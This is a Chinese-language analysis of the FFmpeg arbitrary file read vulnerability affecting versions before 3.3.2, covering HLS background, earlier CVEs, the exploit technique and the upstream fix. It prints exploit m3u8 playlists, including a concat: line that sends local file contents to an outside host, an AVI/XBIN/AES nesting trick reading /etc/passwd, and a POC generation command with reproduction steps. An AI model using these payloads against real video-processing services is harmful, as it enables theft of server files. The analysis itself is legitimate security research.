FFmpeg任意文件讀取漏洞分析

這裏寫圖片描述

1. 漏洞描述

  • 漏洞簡述: 漏洞利用了FFmpeg可以處理HLS播放列表的特性,而播放列表可以引用外部文件。通過在AVI文件中添加自定義的包含本地文件引用的HLS播放列表,可以觸發該漏洞並在該文件播放過程中顯示本地文件的內容
  • 漏洞發現者:Neex
  • 影響版本:FFmpeg < 3.3.2

2. FFmpeg 背景知識簡介

  FFmpeg是一套可以用來記錄、轉換數字音頻、視頻,並能將其轉化爲流的開源計算機程序。它包括了目前領先的音/視頻編碼庫libavcodec。 FFmpeg是在Linux下開發出來的,但它可以在包括Windows在內的大多數操作系統中編譯。這個項目是由Fabrice Bellard發起的,現在由Michael Niedermayer主持。可以輕易地實現多種視頻格式之間的相互轉換,例如可以將攝錄下的視頻avi等轉成現在視頻網站所採用的flv格式。其基本的工作流程是:

原始的封裝視頻 –> demux 分離器對封裝的視頻資源進行分離 –> 得到音頻資源和視頻資源 –> 進行解碼 –> 得到解壓後的音頻資源和視頻資源 –> 進入 filter 進行編輯處理 –> 得到處理後的音頻資源和視頻資源 –> 對資源編碼得到轉碼後的音頻資源和視頻資源 –> 進入 mux 混合器進行封裝 –> 得到轉碼封裝後的視頻

這裏寫圖片描述

3. HLS簡介

HLS (HTTP Live Streaming)

常用的流媒體協議主要有 HTTP 漸進下載(HLS,flash 漸進式等)和基於 RTSP/RTP 的實時流媒體協議,這二種基本是完全不同的東西,目前比較方便又好用的是用 HTTP 漸進下載方法。

在這個中 apple 公司的 HTTP Live Streaming 是這個方面的代表。它會把整個視頻流分成多個小的,基於 HTTP 的文件來下載,每次下載一部分,並把視頻流元數據存放於 m3u8 文件中。

M3U8文件概念

M3U8文件是指UTF-8編碼格式的M3U文件。M3U文件是記錄了一個索引純文本文件,打開它時播放軟件並不是播放它,而是根據它的索引找到對應的音視頻文件的網絡地址進行在線播放。

簡單歸納起來就是:首先將一個完整視頻分成多個TS視頻文件,用戶下載m3u8文件,通過m3u8文件的索引地址 播放具體的每個小段視頻。

這裏寫圖片描述

一個m3u8文件的基本格式如下:

    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    http://cdev.dx.su:1234/8.mp4   # 可以是遠程資源
    #EXT-X-ENDLIST

或者:

    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    test.ts   # 也可以是真正的視頻資源
    #EXT-X-ENDLIST

註釋

    #EXTM3U:  每個M3U文件第一行必須是這個tag#EXTINF:指定每個媒體段(ts)的持續時間,這個僅對其後面的URI有效,每兩個媒體段URI間被這個tag分隔開,其格式如下:
        #EXTINF:<duration>,<title>duration表示持續的時間(秒)”Durations MUST be integers if the protocol version of the Playlist file is less than 3“,否則可以是浮點數。
    #EXT-X-MEDIA-SEQUENCE:每一個media URI 在 PlayList中只有唯一的序號,相鄰之間序號+1#EXT-X-MEDIA-SEQUENCE:<number>:一個media URI並不是必須要包含的,如果沒有,默認爲0#EXT-X-ENDLIST:表示PlayList的末尾了,它可以在PlayList中任意位置出現,但是隻能出現一個,格式如下:
        #EXT-X-ENDLIST

4 漏洞分析

該漏洞主要還是利用了去年的 CVE-2016-1897 和 CVE-2016-1898,一個 SSRF 和一個任意文件讀取漏洞,其中 SSRF 用到的就是 m3u8 可以訪問獲取遠程資源的特性。

CVE-2016-1897

這裏寫圖片描述

CVE-2016-1898

因爲FFmpeg擴展性極強,其中支持一個 Physical concatenation protocol concat: 可以把多個 url 流合併訪問資源:

concat:URL1|URL2|…|URLN

結合 SSRF ,我們可以把 file:// 讀到的內容發送出來。

    #EXTM3U
    #EXT-X-TARGETDURATION:6
    #EXTINF:10.0,
    concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln  
    #EXT-X-ENDLIST

這裏寫圖片描述

之後官方在2.8.5版本修復了該漏洞。

而這個漏洞則是繞過了這次修復,繼續利用這兩個漏洞達到任意文件讀取。

在上個月的 phdays conference 裏,通過視頻格式的一個 trick bypass 了廠商對 SSRF 的封堵。

奇怪的視頻格式標準

在 AVI 視頻中,有一個數據塊可以定義字幕,叫做 GAB2 ,位置於 AVI header 中,有趣的是 m3u8 可以插入到 avi 文件中,且 FFmpeg 依舊會對有文件頭 #EXTM3U 的 AVi 視頻做 HLS 處理。

利用思路如下: 將 m3u8 嵌入到帶有 GAB2 的AVI視頻中,對文件格式檢查進行 bypass 。 因爲之前說過,m3u8 並不是真正的視頻資源,所以如果要播放,必須還要在 m3u8 中嵌入一個可播放的視頻資源,其中有一個古老的媒體格式 XBin,這個媒體格式具備基本顯示圖片,文本的功能,體積非常小,最重要的是,這個媒體格式可編程,如果嵌入到 m3u8 中,將目標文件作爲對象,用 xbin 繪製成爲字符,就可以作爲合法可播放的視頻文件觀看了,所以依次嵌套後,文件內容大致爲:

    [AVI header]  
    [GAB2 header]  
    [m3u8 header]  
    [XBIN header]  
    目標文件  
    [XBIN footer]  
    [m3u8 footer]  
    [AVI footer]  

但 FFmpeg 檢查了 body 中的非法字符串,所以無法使用 data :對 XBIN 格式聲明

    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:1
    #EXTINF:1.0,
    data:<format-header>  
    #EXTINF:1.0,
    file:///etc/passwd  
    #EXTINF:1.0,
    data:<format-footer>  
    #EXT-X-ENDLIST

但是m3u8支持AES128的CBC模式加密,可以在#EXT-X-KEY中進行設置,所以可以很簡單加密m3u8的內容:

…
    #EXTINF:1,
    #EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
    #EXT-X-BYTERANGE: 16
    /dev/zero
    …
    = AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER>

由於m3u8單次訪問目標文件獲取到的內容不完整,爲了獲得完整的文件內容,還需要控制#EXT-X-BYTERANGE設置偏移量,然後重複這一部分

最終,我們得到的文件應該是這樣的:

    [AVI header]
    [GAB2 header]
    [m3u8 header]
    {loop}
    #EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>     #聲明m3u8AES加密,將XBIN部分加密
    [XBIN header]     #被加密
    目標文件
    [XBIN footer]    #被加密
    {loop}
    [m3u8 footer]
    [AVI footer]

利用github上的Python POC腳本生成含有SSRF攻擊的avi格式視頻。腳本使用方法:

這裏寫圖片描述

通過命令行查看生成的avi視頻源碼:

這裏寫圖片描述

通過notepad++ 查看視頻文件源碼:

這裏寫圖片描述

  1. 可以看到和上述的命令行查看是一樣的,AVI header以及GAB2 包含不可打印字符這裏就不做解釋了,我們可以看到### echoing b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00' 爲XBIN header。
  2. #EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x4c4d465e0b95223279487316ffd9ec3a
        #EXT-X-KEY:表示怎麼對media segments進行解碼。其作用範圍是下次該tag出現前的所有media URI,格式如下:
             #EXT-X-KEY:<attribute-list>NONE 或者 AES-128。如果是NONE,則URI以及IV屬性必須不存在,如果是AES-128(Advanced Encryption Standard),則URI必須存在,IV可以不存在。
            對於AES-128的情況,keytag和URI屬性共同表示了一個key文件,通過URI可以獲得這個key,如果沒有
            IV(Initialization Vector),則使用序列號作爲IV進行編解碼,將序列號的高位賦到16個字節的buffer中,左邊補0;如果
            有IV,則將改值當成16個字節的16進制數。

3 . #EXT-X-BYTERANGE: 64@0
#EXT-X-BYTERANGE控制文件的偏移地址,並在隨後的空行中指定文件的URI地址。通過不斷遞增文件的偏移地址,該文件可以實現對本地文件的遍歷顯示播放。

通過命令ffplay exp.avi直接讀取生成的avi文件,可以看到文件內容成功顯示到ffplay視頻播放器中:

這裏寫圖片描述

5. 漏洞復現(遠程文件讀取)

1.首先自己搭建一個可以上傳視頻以及播放視頻的頁面。

這裏寫圖片描述

2.利用上文中POC生成avi視頻文件:./gen_xbin_avi.py file:///etc/passwd exp.avi

3.將視頻文件通過網頁上傳到服務器中,點擊播放:

這裏寫圖片描述

可以看到成功顯示了/etc/passwd內容。

6. 修復方案

根據官方升級版本進行源碼diff:

這裏寫圖片描述

這裏寫圖片描述

我們可以看到最主要的修復方式是在hls.c文件中,

    +    {"allowed_extensions", "List of file extensions that hls is allowed to access",
    +        OFFSET(allowed_extensions), AV_OPT_TYPE_STRING,
    +        {.str = "3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav"},
    +        INT_MIN, INT_MAX, FLAGS},

採用白名單機制,限制後綴名只能是上述的那些才能執行。

7. 參考資料

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章